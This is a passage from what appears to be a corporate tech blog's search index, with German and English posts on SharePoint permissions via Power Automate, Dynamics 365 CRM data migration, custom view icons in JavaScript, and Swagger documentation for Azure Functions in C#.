wurden sämtliche Aktionen mit den Standardkonnektoren von Power Automate gelöst und umgesetzt.\nAllerdings ist zu beachten, dass SharePoint zum gegenwärtigen Zeitpunkt eine technische Begrenzung besitzt, welche eine Vererbungsunterbrechung nur für 5000 Einträge zulässt, bevor die Performance der Liste merklich nachlässt [(Link)] (https://docs.microsoft.com/de-de/office365/servicedescriptions/sharepoint-online-service-description/sharepoint-online-limits#unique-security-scopes-per-list-or-library) . Auch läuft aktuell jede Aktion in Power Automate im Kontext des erstellten User. Für einen produktiven Einsatz wäre die Verwendung eines Service Users empfehlenswert.\nNichts desto weniger erhalten wir mit der Implementierung durch Power Automate eine einfach und leicht wartbare Lösung, welche sich auf andere Listen ausweiten lässt.\nMehr zur Low-Code-Lösung Microsoft Power Platform ","date":"6. Mai 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/berechtigungen-listenelemente-power-automate_hu1a13c528372ae396537ec66fff40fc94_24287_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/berechtigungen-listenelemente-power-automate_hu1a13c528372ae396537ec66fff40fc94_24287_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/berechtigungen-f%C3%BCr-listenelemente-in-sharepoint-mit-power-automate-ver%C3%A4ndern/","tags":["automation","microsoft-365"],"title":"Berechtigungen für Listenelemente in SharePoint mit Power Automate verändern"},{"categories":["How to"],"contents":"Part 3: Options for data migration Part 1: Approaches to migrate to Dynamics 365 cloud instances Part 2: Analyze, plan \u0026 rebuild the current solution Part 3: Options for data migration Part 4: Our tooling for data migration Part 5: Migration of activities Part 6: Logging and Error Handling In the last part we looked at what steps are involved to rebuild the functionality and data model inside a new solution with the “greenfield” approach. In this part, we want to look at the difficulties and options that we have, to transport data rows from one to another Dynamics 365 CE / Dataverse instance and evaluate which option is best suited for the “greenfield” approach.\nFirst, let us look what options we see in the wild:\nUse of the Excel/CSV Export and Import feature Use the Configuration Migration Tool from the Developer Tools / SDK Use an ETL Tool like SSIS, Azure Data Factory or Power Platform dataflows Use a self-written (C#) Console Application Difficulties in Data Migration Before we decide which option is best suited for our use case, let us look what difficulties we must handle to migrate data between to Dynamics/Dataverse instances.\nHandling Referential integrity While importing data rows of an entity, we must consider referential integrity . Dataverse enforces it for every create or update operation. For example, when importing an opportunity that has set the filed “parentcontactid” to a contact, we must ensure that the referenced contact dataset already exists in the destination the system before creating the opportunity. To solve this problem, the simplest approach is that we first migrate all contacts and in second step all opportunities.\nThat approach works well as long, as you can resolve all dependencies to a tree (graph theory) with one single root node. Unfortunately, this is an unrealistic case. I my experience, the least minimum set of entities to migrate, are typically contacts and accounts. And if you look at the relationships between the contact and the account entity, you can see, that it contains at least one cyclic reference that makes it impossible to build up a tree.\nTo overcome this problem, we use the following pattern. We split the creation of the rows into two phases. In the first phase we CREATE all rows of all entities we want to migrate, excluding all lookup and status fields. At the second phase we UPDATE all created rows, herewith set all lookup fields, associate the many to many relationships and set the correct status. Splitting the creation in a create and update phase, brings the advantage, that you don’t have to think about the correct order to migrate and moreover makes it possible to migrate entities with circular references.\nSide Note: For each row that we create on the new Dataverse instance, we always use the GUID of the source system as the ID of the row in the destination system. We don’t let the Dataverse instance generate a new GUID. Technically we use the “Upsert” functionality instead of an “Create” for Phase 1. With this pattern we can simply set lookup fields in phase 2 with their original GUID of the source system.\nHandling status and status reason fields Dataverse defines a status and status reason field for all entities. Each entity has at least two status values “active” or “inactive”. If a row is in the status “inactive” it is read only and can’t be modified anymore. Dataverse does not allow us to directly create a row in the status “inactive”. That’s becomes a problem when migration rows where the status is “inactive”. To solve this, we use the same pattern as above and split the creation of the row in two phases. In the first phase, we don’t set any of the status fields. In the second phase, we set the status and status reason fields.\nFor some entities it’s not possible to set the state by simply updating the status and status reason fields. As example the opportunity defines the special actions “win opportunity” and “close opportunity” that must be called to change the state. The solution here is to call these special actions in Phase 2.\nSource: Define status reason transitions with Power Apps – Power Apps | Microsoft Docs Dataverse also allows, to define status reason transitions . With that configured, it’s not possible to simply set the desired status and status reason. As show in the example below, all cases must pass through the at least one stage (In Progress \u0026gt; On Hold \u0026gt; Waiting for Details \u0026gt; Researching) before it can be marked as “resolved”. For the data migration, we also must consider this in Phase 2.\nHandling different schema of source and destination entities Field Name abc_name –\u0026gt; xyz_name abc_email –\u0026gt; xyz_email Data Type Text –\u0026gt; Multi Line (easy) Text –\u0026gt; Option Set (parsing required) Option Set –\u0026gt; Lookup (extra logic required) Lookup –\u0026gt; Option Set (extra logic required) Option Set Values Green 5690001 –\u0026gt; Green 1230001 Red 5690002 –\u0026gt; Red 1230002 Yellow 1 –\u0026gt; Yellow 1230003 Entity Names abc_cars –\u0026gt; yxz_cars Merging or Splitting Fields Merge of abc_name and abc_name2 –\u0026gt; xyz_name Splitt of abc_phonenumber –\u0026gt; xyz_phonenumber1_location and xyz_phonenumber1 As shown in the examples above, there are many schema changes, partly driven by changed business requirements, that need complex transformation logic.\nHandling large data sets Be prepared to migrated large datasets with thousands or even million rows. Be prepared for notes and e-mails with heavy attachments. The largest data set we migrated with our own tooling around 2 million contacts. With that in mind, tooling should be prepared to handle this large amount of data, timeouts and retries. Paging to extract the entities from the source environment and batching to load them in the destination environments as well as parallel writes and multiple threads help keeping the migration speed as fast as possible. To transport the large attachments as fast as possible, we usually use a virtual machine in azure, here you get the best latency to the destination environment.\nError Handling and Logging How to prove that all data has been successfully migrated? And what if there were some errors? One quantitatively option is to count the rows of the source system and destination system after the migration and subtract the amounts. If the result is equal zero, you have migrated all rows. But that does not indicate what errors happened and can’t tell if every row is updated correctly in the second phase. To have a qualitative statement, logging all errors and logging all successful migrated rows in a form that is analyzable like an CSV output is preferable. Using such an output as an input file for a new migration run that only handles the failed row is even more preferable. Part 6 of this series will go deeper how we implemented error handling and logging in our tooling.\nMapping system users Lookup fields to system user rows can’t be handled like normal lookup fields. That’s because we can’t use the original GUID of the source system to reference a user in the destination system user. System users in Dataverse are created automatically in interaction with the Azure Active Directory and therefor have different IDs. To overcome this problem, we have to build up a Mapping Table to translate a GUID of a system user in the old environment to the new Dataverse instance. This can be done by mapping the GUIDs over the e-mail address.\nE.g., for the user with E-mail “abcxyz@objektkultur.de” on the old system has the GUID 00000000-0000-0000-0000-000000000001 and on the new system 9f67b42c-91b1-44e8-b42b-f58ed920bdc4. Updating a row and setting the owner filed to the old GUID would case an error. Therefor you have to implement a logic that uses the new GUID 9f67b42c-91b1-44e8-b42b-f58ed920bdc4 instead.\nMigration of meta information fields On every entity in Dataverse we find the fields “created on”, “created by”, “modified on” and “modified by”. They are set automatically by the platform and to track meta information. While migrating data, this can become a pitfall if you don’t handle it correctly. After the migration, every data row is “created on” and “modified on” the migration day, plus “created by” and “updated by” the system user you are doing the data import. That’s at least unaesthetic and often bothers the end users. For the filed “created on” Dataverse provides the possibility to set it via the field overriddencreatedon, but how to set the other fields? Part 5 of the series will go into detail how we resolved this issue.\nOptions After we seen the difficulties that we are faced with, let us go through our options and check if they can handle them.\nTable 1 – An opinionated comparison of the options to migrate data [+ good, / neutral, - bad]\n#1 CSV Export \u0026amp; Import #2 Config. Migration Tool #3 ETL Tool #4 Console Application Referential integrity / / + + Status and status reason fields / / + + Different schemas - - + + Large data sets - / + + Error Handling and Logging - - / + Mapping System Users / / + + Reproducible - + + + Ability to debug - - / + Development Effort + / - - Recommend for the “greenfield” approach No No Yes Yes #1 Excel/CSV “Simply Export the rows to CSV and reimport it on the new System”, that’s mostly the first idea how to migrate data between an On-premises Dynamics CE system and an Online Dataverse instance. And It’s a valid choice, until you only have to migrate a hand full of tables, that only has a limited amount of data, and you don’t have to deal with relationships between the tables. It even supports simple schema transformations. E.g., while importing it’s possible to define the mapping of a text row formally named “abc_name” to “xyz_name” to the destination system. It’s starts getting complicated when you have transformed values because there is no out of the box support. Also, large datasets are problematic, and I can’t see a solution where you export gigabytes of e-mail and note attachments in a CSV file. There is no decent possibility to to error handling and logging. And the approach is not reproducible or debuggable. Overall, the option to only use The Import and Export feature fails in many points and is not a good fit for the “greenfield” approach.\n#2 Configuration Migration tool The former “Dynamics SDK”- now called “Developer Tools ” – provides and application called “DataMigrationUtility.exe”. You can setup and store a configuration where you define what entities and fields you want to migrate and use this to transport data between environments. It’s a nice tool if you want to transport configuration data between “staging” environments, like configuration that is developed in an DEV environment and transported to a user acceptance (UAT) environment. Therefore, you can use your predefined configuration in a deployment pipeline. But it’s fails to handle all the difficulties that we found above. Without even going thru all the point in detail, the “Configuration Migration tool” can’t handle different source and destination schema. And that’s and hard requirement for the “greenfield” approach.\n#3 Extract Transform Load (ETL) Tool A common tooling that we can see in the field is to use SSIS together with Kingsway Toolkit to build up data integrations or perform a data migration. With SSIS in combination with the Kingsway Toolkit and at some points maybe a little bit of custom code, we can conquer all difficulties listed above. So, it’s a valid option to make a migration with the “greenfield” approach. Sidenote: Nowadays a notable alternative to SSIS, is Azure Data Factory in combination with the Dataverse and Dynamics connector.\n#4 Console Application Finally, you can build a (C#) console application that calls the APIs of the source system to extract the data, write custom code to transform the data and call the APIs of the destination system to load the data. This approach is the most flexible but also most time intensive approach. We can conquer all difficulties listed above and additionally, it’s debuggable at every execution step.\nWhat to choose? As described above, there are only two ways to go. Either you choose to use an ETL Tool or build a Console Application. My recommendation is that you choose depending on the skillset of the team that will perform the migration. At our company, mostly everyone knows how to write C# code and only a fraction has deep knowledge in developing ETL solutions. So, the decision was easy to build a console application. To start quickly, we also develop a framework with code that we can reuse for every new migration project. In the next Blog post, I’ll take a closer look at the Framework we build internally.\n","date":"29. April 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/migrate-dynamics365-crm-part3_hude1acb8637854b3e7dd4987b81f0d4db_48443_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/migrate-dynamics365-crm-part3_hude1acb8637854b3e7dd4987b81f0d4db_48443_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/how-we-migrate-dynamics-365-crm-applications-to-the-cloud-part-3/","tags":["dynamics-365","crm"],"title":"How we migrate Dynamics 365 CRM applications to the cloud (Part 3)"},{"categories":["How to"],"contents":"Habt ihr schon gewusst, dass in Dynamics-365-Ansichten benutzerdefinierte Symbole neben Optionswerten angezeigt werden können? Wir nutzen das unter anderem bei Leads und Verkaufschancen als visuelle Unterstützung, damit unser Vertrieb in großen Ansichten besser zwischen vielversprechenden und weniger vielversprechenden Leads oder Verkaufschancen unterscheiden kann.\nDarüber bin ich das erste Mal beim Durchstöbern der Microsoft Docs gestolpert.\nIch zeige euch heute, wie wir das bei uns ein- und umgesetzt haben.\nIcons bereitstellen Ladet zunächst die gewünschten Symbole als Webressourcen mit entsprechendem Typ hoch. Icons im PNG-Format mit einer Größe von 16×16 Pixel werden hierfür empfohlen, da diese sowohl im klassischen als auch im Unified Interface dargestellt werden können. Bei uns funktioniert das Ganze in Unified Interface mit SVG-Grafiken sehr gut, wobei diese auf jedem Bildschirm und Gerät schön scharf dargestellt werden. Merkt euch die Schema-Namen der Icons – diese werden später noch benötigt.\nLogik bereitstellen Die Logik für die Zuordnung der Symbole zu den Optionswerten muss in JavaScript erbracht werden. Erstellt dazu eine weitere Webressource mit dem Typ Script (JScript). Das Skript muss mindestens eine Funktion enthalten, die später automatisch beim Rendern einer Reihe in der Ansicht aufgerufen wird und die Logik für die Darstellung der Icons in der entsprechenden Spalte übernimmt.\nDas System übergibt zwei Parameter an diese Funktion – die Daten aller Spalten der aktuellen Reihe als Array (rowData) und die Sprache des Benutzers als numerischen Wert (userLCID). Aus rowData kann der aktuelle Optionswert der entsprechenden Spalte ausgelesen werden. Über diesen kann dann die Auswertung erfolgen, welches Icon dazu angezeigt werden soll. Weiter kann ein Beschreibungstext spezifiziert werden, der beim Hovern mit der Maus über das Icon in der Ansicht als Tooltip angezeigt wird. Dieser kann auf Basis der userLCID auf die Sprache des aktuellen Benutzers abgestimmt werden. Als Rückgabewert der Funktion erwartet das System ein Array, das an erster Stelle den Schema-Namen der anzuzeigenden Icon-Webressource und an zweiter Stelle den Beschreibungstext für den Tooltip – beides String-Werte – enthält.\nUnser Skript hierfür ist beispielhaft nachfolgendem Gist zu entnehmen. Wir haben dabei die zuvor beschriebene Funktion entsprechend parametrisiert und hinterlegen in den jeweiligen Ansichten dann einen der beiden dedizierten Callbacks (siehe nächster Abschnitt).\n/* * @author Tobias Heilig \u0026lt;the@objektkultur.de\u0026gt; * * Visualisierung von Bewertungsoptionen (rot, gelb, grün) in Lead- und Verkaufschancenansichten. */ /* Webressource, die die skalierbare Vektorgrafik für eine grüne Bewertung enthält. */ var RATINGCODE_GREEN_ICON_NAME = \u0026#34;ok_ratingcode_green_icon\u0026#34; /* Webressource, die die skalierbare Vektorgrafik für eine gelbe Bewertung enthält. */ var RATINGCODE_YELLOW_ICON_NAME = \u0026#34;ok_ratingcode_yellow_icon\u0026#34; /* Webressource, die die skalierbare Vektorgrafik für eine rote Bewertung enthält. */ var RATINGCODE_RED_ICON_NAME = \u0026#34;ok_ratingcode_red_icon\u0026#34; /* Webressource, die die skalierbare Vektorgrafik für eine nicht vorhandene Bewertung enthält. */ var RATINGCODE_NONE_ICON_NAME = \u0026#34;ok_ratingcode_none_icon\u0026#34; /* * Callback für Lead-Ansichten. * @param rowData - Spalten der aktuellen Reihe. * @param userLCID - Sprachcode des Benutzers. */ function displayLeadRatingcode(rowData, userLCID) { return displayRatingcodeIcons(rowData, userLCID, \u0026#34;ok_leadratingcode_options_Value\u0026#34;, /* Optionsfeld für Leadbewertungen */ 100000000, /* Optionswert für grüne Leadbewertung */ 100000001, /* Optionswert für gelbe Leadbewertung */ 100000002) /* Optionswert für rote Leadbewertung */ } /* * Callback für Verkaufschancenansichten. * @param rowData - Spalten der aktuellen Reihe. * @param userLCID - Sprachcode des Benutzers. */ function displayOpportunityRatingcode(rowData, userLCID) { return displayRatingcodeIcons(rowData, userLCID, \u0026#34;opportunityratingcode_Value\u0026#34;, /* Optionsfeld für Verkaufschancenbewertungen */ 1, /* Optionswert für grüne Verkaufschancenbewertung */ 2, /* Optionswert für gelbe Verkaufschancenbewertung */ 3) /* Optionswert für rote Verkaufschancenbewertung */ } /* * Rendert die Bewertungssymbole für die entsprechenden Optionsfelder- und werte. * @param rowData - Spalten der aktuellen Reihe. * @param userLCID - Sprachcode des Benutzers. * @param ratingcodeFieldSchemaName - Schemaname des Optionsfelds für die Bewertung. * @param greenOptionValue - Optionswert für grüne Bewertung. * @param yellowOptionValue - Optionswert für gelbe Bewertung. * @param redOptionValue - Optionswert für rote Bewertung. */ function displayRatingcodeIcons(rowData, userLCID, ratingcodeFieldSchemaName, greenOptionValue, yellowOptionValue, redOptionValue) { var str = JSON.parse(rowData); var coldata = str[ratingcodeFieldSchemaName]; var imgName = \u0026#34;\u0026#34;; var tooltip = \u0026#34;\u0026#34;; switch (parseInt(coldata, 10)) { case greenOptionValue: imgName = RATINGCODE_GREEN_ICON_NAME; tooltip = \u0026#34;Grün\u0026#34;; break; case yellowOptionValue: imgName = RATINGCODE_YELLOW_ICON_NAME; tooltip = \u0026#34;Gelb\u0026#34;; break; case redOptionValue: imgName = RATINGCODE_RED_ICON_NAME; tooltip = \u0026#34;Rot\u0026#34;; break; default: imgName = RATINGCODE_NONE_ICON_NAME; tooltip = \u0026#34;Keine Bewertung\u0026#34;; break; } var resultarray = [imgName, tooltip]; return resultarray; } Mit Ansicht verknüpfen Wie bereits erwähnt müsst ihr zuletzt noch eure JavaScript-Logik mit der entsprechenden Ansicht und Spalte verknüpfen. Ich habe noch keinen Weg gefunden, dies über die neue Lösungsverwaltung im Browser zu bewerkstelligen. Falls ihr einen kennt, würde ich mich freuen, wenn ihr diesen über Twitter oder in den Kommentaren mit mir teilt! Navigiert andernfalls also über die alten Einstellungen in die Systemanpassung und öffnet die Eigenschaften der entsprechenden Spalte in der Ansicht, in der die Icons angezeigt werden sollen.\nDort hinterlegt ihr die Webressource, die eure JavaScript-Logik enthält und registriert die entsprechende Callback-Funktion aus eurem Skript für die entsprechende Spalte.\nDas war’s!\nNun sollten die von euch hinterlegten Icons neben den entsprechenden Optionswerten der Spalte, wie zu Anfangs gezeigt, in der Ansicht erscheinen.\nHabt ihr das schon gekannt? Dann würde mich interessieren, wo und wie ihr das bei euch oder euren Kunden schon eingesetzt habt! Oder kennt ihr einen Weg, das über die neue Umgebung zu bewerkstelligen? Ich würde mich freuen, wenn ihr eure Ideen und Tipps mit mir auf Twitter oder in den Kommentaren teilt.\n","date":"21. April 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/_hu72a45a09fb4ad195b52e8c154428fd0f_71793_4dea737de3d1560cf006c66406af485d.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/_hu72a45a09fb4ad195b52e8c154428fd0f_71793_ca627d91054873ec478f0fb9d74f99ef.jpg'\"\u003e\n \n \n \n\n","permalink":"/anzeigen-von-benutzerdefinierten-symbolen-in-dynamics-365-views/","tags":["frontend","dynamics-365"],"title":"Anzeigen von benutzerdefinierten Symbolen in Dynamics-365-Views"},{"categories":["How to","Serien"],"contents":"In meiner Serie zur Erstellung von Web APIs mit Azure Functions stelle ich neben einigen Pattern auch Codebeispiele vor. In Summe können diese Beiträge als Handlungsanweisung verwendet werden, um effizient Web APIs mit Azure Functions zu erstellen.\nHier nochmal eine Übersicht der bisher veröffentlichten Beiträge:\nWeb APIs mit Azure Functions: Projektstruktur (Teil 1) Web APIs mit Azure Functions: Requesthandling (Teil 2) Web APIs mit Azure Functions: Responsehandling (Teil 3) Überblick Mit der Umsetzung der Funktionalität um ein Responsehandling, sind wir nun in der Lage, effizient Web APIs zu entwickeln. Um den Nutzern unserer Schnittstelle die Verwendung zu erleichtern und einfacher zugänglich zu machen, soll diese dokumentiert werden.\nSwagger/OpenAPI Swagger unterstützt mit seinen OpenSource-Tools die Konzeption, Entwicklung und Dokumentation von Webservices auf Basis von HTTP. Dabei setzt Swagger auf den Beschreibungsstandard OpenAPI. Beide Begriffe werden äquivalent zueinander verwendet.\nIn diesem Beitrag möchte ich mich primär auf die Dokumentation von Webservices mittels OpenAPI/Swagger beschränken.\nBenutzeroberfläche Swagger generiert auf Basis der openapi.json eine webbasierte Bedienungsoberfläche und stellt die jeweiligen Funktionen grafisch dar.\nDie einzelnen Funktionen erweitern die Sicht bei einem weiteren Klick und stellen nicht nur dar, welche Parameter für einen erfolgreichen Aufruf notwendig sind (z.B. Query-, Path-Parameter, Beispielbody), sondern stellen daneben auch mögliche Antworten des Endpunkts dar (HTTP-Statuscode). Darüber hinaus ist es möglich, die API im Browser direkt zu testen.\nAPI Dokumentation in Azure Functions Für .NET stehen im Wesentlichen zwei Implementierungen für die OpenAPI zur Verfügung: NSwag und Swashbuckle. Wobei auf Azure Functions bezogen lediglich Swashbuckle einen Support für die V3-Runtime von Azure Functions bietet. Zu finden ist eine entsprechende Implementierung als Nuget-Paket unter AzureExtensions.Swashbuckle.\nAußerdem arbeitet Microsoft an dem Nuget-Paket Azure Functions OpenAPI Extension, welches die Verwendung von OpenAPI mit Azure Functions unterstützt. Unter dem Namen Microsoft.Azure.WebJobs.Extensions.OpenApi kann das entsprechende Nuget-Paket bezogen werden. Allerdings sei hier erwähnt, dass es aktuell eine Preview ist. Daher ist von einem produktiven Einsatz hier zunächst abzuraten.\nSwashbuckle vs. Microsoft OpenAPI-Extension Um eine Entscheidungsgrundlage bereitzustellen, werden die Lösungen von Swashbuckle wie auch Microsoft zur Dokumentation von Endpunkten mit Azure Functions gegenübergestellt. Vorweg sei zu sagen, dass eine finale Version (unabhängig vom Ersteller des Nuget-Paketes) einer Preview-/Beta-Version eines Paketes immer vorzuziehen ist. In diesem Zusammenhang kommt entscheidend hinzu, dass Swashbuckle bereits im ASP.NET-Umfeld eine breite Nutzung aufweisen kann und entsprechend auch für die produktive Verwendung der Azure Functions verwendet werden kann.\nEinrichtung Beide Lösungen bieten die Möglichkeit, die entsprechenden Pakete entweder direkt (static) oder mithilfe von Dependency Injection (IoC (Inversion of Control)) im Projekt verfügbar zu machen.\nDie Verwendung von Microsoft.Azure.WebJobs.Extensions.OpenApi kann bereits beim Erstellen des Azure-Functions-Projekt bzw. bei der Erstellung einer neuen Function über den Wizzard in Visual Studio automatisiert hinzugefügt werden. Hierzu muss lediglich der entsprechende Haken gesetzt werden (siehe Screenshot).\nFür die Verwendung von Swashbuckle wird die Startup-Klasse benötigt, um Swashbuckle korrekt in das Projekt einzubinden. Im folgenden Listing wird der entsprechende Code mit rudimentären Einstellungen für die Swagger-Dokumentation dargestellt.\nusing System.Reflection; using Application.Functions; using AzureFunctions.Extensions.Swashbuckle; using Microsoft.Azure.Functions.Extensions.DependencyInjection; [assembly: FunctionsStartup(typeof(Startup))] namespace Application.Functions { using AzureFunctions.Extensions.Swashbuckle.Settings; public class Startup : FunctionsStartup { public override void Configure(IFunctionsHostBuilder builder) { builder.AddSwashBuckle(Assembly.GetExecutingAssembly(), opts =\u0026gt; { opts.Documents = new[] { new SwaggerDocument { Name = \u0026#34;v1\u0026#34;, Title = \u0026#34;Swagger Application.Functions\u0026#34;, Description = \u0026#34;Description\u0026#34;, Version = \u0026#34;v1\u0026#34; } }; opts.Title = \u0026#34;Swagger Documentation for my Azure Functions\u0026#34;; }); } public override void ConfigureAppConfiguration(IFunctionsConfigurationBuilder builder) { base.ConfigureAppConfiguration(builder); var context = builder.GetContext(); } } } Außerdem werden zwei Functions benötigt, um zum einen die Swagger-Oberfläche und zum anderen die entsprechende OpenAPI-Definition (JSON) darstellen zu können.\nnamespace Application.Functions { using System.Net.Http; using System.Threading.Tasks; using AzureFunctions.Extensions.Swashbuckle; using AzureFunctions.Extensions.Swashbuckle.Attribute; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; public static class SwaggerController { [SwaggerIgnore] [FunctionName(\u0026#34;OpenApiJson\u0026#34;)] public static Task\u0026lt;HttpResponseMessage\u0026gt; Run( [HttpTrigger(AuthorizationLevel.Anonymous, \u0026#34;get\u0026#34;, Route = \u0026#34;swagger/json\u0026#34;)] HttpRequestMessage req, [SwashBuckleClient] ISwashBuckleClient swashBuckleClient) { return Task.FromResult(swashBuckleClient.CreateSwaggerDocumentResponse(req)); } [SwaggerIgnore] [FunctionName(\u0026#34;OpenApiUi\u0026#34;)] public static Task\u0026lt;HttpResponseMessage\u0026gt; Run2( [HttpTrigger(AuthorizationLevel.Anonymous, \u0026#34;get\u0026#34;, Route = \u0026#34;swagger/ui\u0026#34;)] HttpRequestMessage req, [SwashBuckleClient] ISwashBuckleClient swashBuckleClient) { return Task.FromResult(swashBuckleClient.CreateSwaggerUIResponse(req, \u0026#34;openapi/json\u0026#34;)); } } } Dokumentation von OpenAPI Die entsprechende Dekoration der Azure Functions unterscheidet sich minimal in der Verwendung. Um einen Vergleich zu erhalten, sind im folgenden zwei Listings, welche die Function StoreTodoItemCommandFunction darstellen. Zum einen mit Swashbuckle (erstes Listing) zum anderen mit Microsoft OpenAPI-Extension (zweites Listing).\nusing System; using System.Net; using System.Threading.Tasks; using Application.Todo; using AzureFunctions.Extensions.Swashbuckle.Attribute; using Functions.Extension.Handler; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.Extensions.Logging; namespace Application.Functions.Todo { public static class StoreTodoItemCommandFunction { [FunctionName(\u0026#34;StoreTodoItemCommandFunction\u0026#34;)] [ApiExplorerSettings(GroupName = \u0026#34;todo\u0026#34;)] [ProducesResponseType(typeof(StoreTodoItemCommand), (int)HttpStatusCode.OK)] [ProducesResponseType((int)HttpStatusCode.BadRequest)] public static async Task\u0026lt;IActionResult\u0026gt; Run([HttpTrigger(AuthorizationLevel.Function, \u0026#34;post\u0026#34;, Route = \u0026#34;Todo\u0026#34;)] HttpRequest req, [RequestBodyType(typeof(StoreTodoItemCommand), \u0026#34;StoreTodoItemCommand Request-Body\u0026#34;)], ILogger log) { Task\u0026lt;IActionResult\u0026gt; result = null; try { var command = await req.ConvertRequestToCommand\u0026lt;StoreTodoItemCommand\u0026gt;(); // Access Database and Delete // todo result = req.CreateHttpResponse() .AddHeaderEntry(\u0026#34;MyHeader\u0026#34;, \u0026#34;MyKey\u0026#34;) .Send(command); } catch (Exception ex) { result = req.CreateHttpResponse() .SendFromException(ex); } return await result; } } } using System; using System.Net; using System.Threading.Tasks; using Application.Todo; using Functions.Extension.Handler; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using Microsoft.Azure.WebJobs; using Microsoft.Azure.WebJobs.Extensions.Http; using Microsoft.Azure.WebJobs.Extensions.OpenApi.Core.Attributes; using Microsoft.Azure.WebJobs.Extensions.OpenApi.Core.Enums; using Microsoft.Extensions.Logging; using Microsoft.OpenApi.Models; namespace Application.Functions.Todo { public static class StoreTodoItemCommandFunction { [FunctionName(\u0026#34;StoreTodoItemCommandFunction\u0026#34;)] [OpenApiOperation(operationId: \u0026#34;Run\u0026#34;, tags: new[] { \u0026#34;name\u0026#34; })] [OpenApiSecurity(\u0026#34;function_key\u0026#34;, SecuritySchemeType.ApiKey, Name = \u0026#34;code\u0026#34;, In = OpenApiSecurityLocationType.Query)] [OpenApiResponseWithBody(statusCode: HttpStatusCode.OK, contentType: \u0026#34;application/json\u0026#34;, bodyType: typeof(StoreTodoItemCommand), Description = \u0026#34;The OK response\u0026#34;)] public static async Task\u0026lt;IActionResult\u0026gt; Run([HttpTrigger(AuthorizationLevel.Function, \u0026#34;post\u0026#34;, Route = \u0026#34;Todo\u0026#34;)] HttpRequest req, ILogger log) { Task\u0026lt;IActionResult\u0026gt; result = null; try { var command = await req.ConvertRequestToCommand\u0026lt;StoreTodoItemCommand\u0026gt;(); // Access Database and Delete // todo result = req.CreateHttpResponse() .AddHeaderEntry(\u0026#34;MyHeader\u0026#34;, \u0026#34;MyKey\u0026#34;) .Send(command); } catch (Exception ex) { result = req.CreateHttpResponse() .SendFromException(ex); } return await result; } } } Handlungsempfehlung Auch wenn die Integration der Microsoft-OpenAPI-Extension bereits in Visual Studio existiert und grundsätzlich auch gut funktioniert, ist die Verwendung von Swashbuckle vorzuziehen, da Swashbuckle zum einen eine breite Verwendung aufweist und sich die Microsoft-OpenAPI-Extension zum anderen nach wie vor in einer Preview (beta) befindet und somit grundsätzlich nicht für den produktiven Einsatz geeignet ist.\nBeispielhafte Implementierung Im bestehenden GitHub-Repo aus dem letzten Beitrag wurden die Endpunkte um eine OpenAPI-Definition mithilfe von Swashbuckle erweitert.\nZusammenfassung Mithilfe von Swagger und Swashbuckle sind die entwickelten Endpunkte nun auch dokumentiert, sodass Nutzer von außerhalb sehen können, wie die APIs verwendet werden müssen und testen können, wie der Endpunkt sich verhält (Beispiel-Body des Responses; Response-HTTP-Statuscodes usw.).\nWenn wir nun mehrere Projekte mit Azure Functions entwickeln, möchten wir den Nutzern der Dienste nicht unterschiedliche Function-Host-URLs mitteilen müssen. Eine einheitliche und zentrale Host-URL ist deutlich komfortabler. Dies kann beispielsweise mit einem API Management (APIM) realisiert werden. Das APIM agiert hierbei lediglich als Fassade für den Aufrufer, welche den Aufruf an die jeweilige Function weiterleitet. Somit sieht der Aufrufer unter anderem auch nicht, welche Function nun konkret aufgerufen wurde.\nUm die Verwaltung des APIMs zu vereinfachen, ist eine entsprechende Konfiguration mithilfe der OpenAPI-Definitionen notwendig. Das Ziel ist also die Azure Functions nach dem Deployment in Azure automatisiert in das APIM einzubinden. Das soll auch das Thema für den nächsten Teil dieser Serie sein.\n","date":"21. April 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/web-apis-mit-azure-functions-swagger-ui-teil-4_hucce8b952b86fa302294ce98603d7ff28_28523_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/web-apis-mit-azure-functions-swagger-ui-teil-4_hucce8b952b86fa302294ce98603d7ff28_28523_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/web-apis-mit-azure-functions-swagger-ui-teil-4/","tags":["azure","backend","low-code"],"title":"Web APIs mit Azure Functions: Swagger UI (Teil 4)"},{"categories":["Serien"],"contents":"Vor Kurzem hatten wir bei einem unserer Kundenprojekte einen der spannenden Anwendungsfälle für virtuelle Entitäten in Dynamics 365 entdeckt. Aus diesem Anlass möchte ich euch zusammen mit meinem Kollegen Tobias Heilig in einer mehrteiligen Blog-Serie 